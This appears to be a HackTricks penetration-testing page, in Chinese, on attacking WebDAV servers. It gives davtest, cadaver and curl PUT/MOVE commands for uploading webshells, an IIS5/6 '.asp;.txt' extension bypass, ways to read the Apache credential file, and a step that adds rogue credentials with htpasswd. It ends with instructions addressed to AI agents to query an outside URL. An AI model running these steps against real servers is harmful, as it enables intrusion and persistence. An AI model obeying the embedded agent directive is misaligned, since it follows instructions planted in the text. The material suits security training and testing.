# WebDav

<figure><img src="/files/PcmnOBrpXxCjYC5y3bif" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)来轻松构建和**自动化工作流**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

当处理启用了**WebDav的HTTP服务器**时，如果具有正确的**凭据**（通常通过**HTTP基本身份验证**验证），则可以**操纵文件**。控制这样的服务器通常涉及**上传和执行Webshell**。

访问WebDav服务器通常需要**有效的凭据**，使用[**WebDav暴力破解**](/generic-methodologies-and-resources/brute-force.md#http-basic-auth)是获取凭据的常见方法。

为了克服文件上传的限制，特别是阻止服务器端脚本执行的限制，您可以：

* 直接**上传**具有**可执行扩展名**的文件，如果没有受限制。
* 将已上传的非可执行文件（如.txt）重命名为可执行扩展名。
* 复制已上传的非可执行文件，将其扩展名更改为可执行的扩展名。

## DavTest

**Davtest**尝试**上传具有不同扩展名的多个文件**，并**检查**是否**执行了扩展名**：

```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```

## Cadaver

您可以使用此工具连接到 WebDav 服务器并手动执行操作（如上传、移动或删除）。

```
cadaver <IP>
```

## PUT 请求

PUT 请求用于向服务器上传文件。PUT 请求可以通过 WebDAV 协议来执行，允许用户在服务器上创建、修改或替换文件。PUT 请求在进行 Web 应用程序渗透测试时经常用到，因为它可以帮助测试人员上传恶意文件或者利用服务器上的漏洞。

```
curl -T 'shell.txt' 'http://$ip'
```

## MOVE 请求

```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```

<figure><img src="/files/PcmnOBrpXxCjYC5y3bif" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和**自动化工作流**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## IIS5/6 WebDav漏洞

这个漏洞非常有趣。**WebDav** 不允许**上传**或**重命名**扩展名为\*\*.asp**的文件。但是你可以通过在文件名末尾**添加";.txt"**来**绕过**这个限制，文件将被执行为一个 .asp 文件（你也可以使用".html"代替".txt"，但**不要忘记";"\*\*）。

然后，你可以将你的shell上传为一个".**txt"文件**，并将其**复制/移动**为一个".asp;.txt"文件。通过web服务器访问该文件，它将被**执行**（cadaver会说移动操作失败，但实际上是成功的）。

![](/files/JwfKwzEmE498mERMT86n)

## 提交凭据

如果Webdav正在使用Apache服务器，你应该查看Apache中配置的站点。通常在：\
\&#xNAN;***/etc/apache2/sites-enabled/000-default***

在其中你可能会找到类似以下内容：

```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```

正如您所看到的，这里有包含**WebDAV**服务器有效**凭证**的文件：

```
/etc/apache2/users.password
```

在这类文件中，您会找到**用户名**和**密码**的哈希值。这些是WebDAV服务器用来验证用户身份的凭据。

您可以尝试**破解**它们，或者如果出于某种原因您想要**访问**WebDAV服务器，也可以**添加更多**凭据：

```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```

要检查新凭据是否有效，您可以执行以下操作：

```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```

## 参考资料

* <https://vk9-sec.com/exploiting-webdav/>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/se5N2OCbiHd0PbneketN" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/put-method-webdav.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
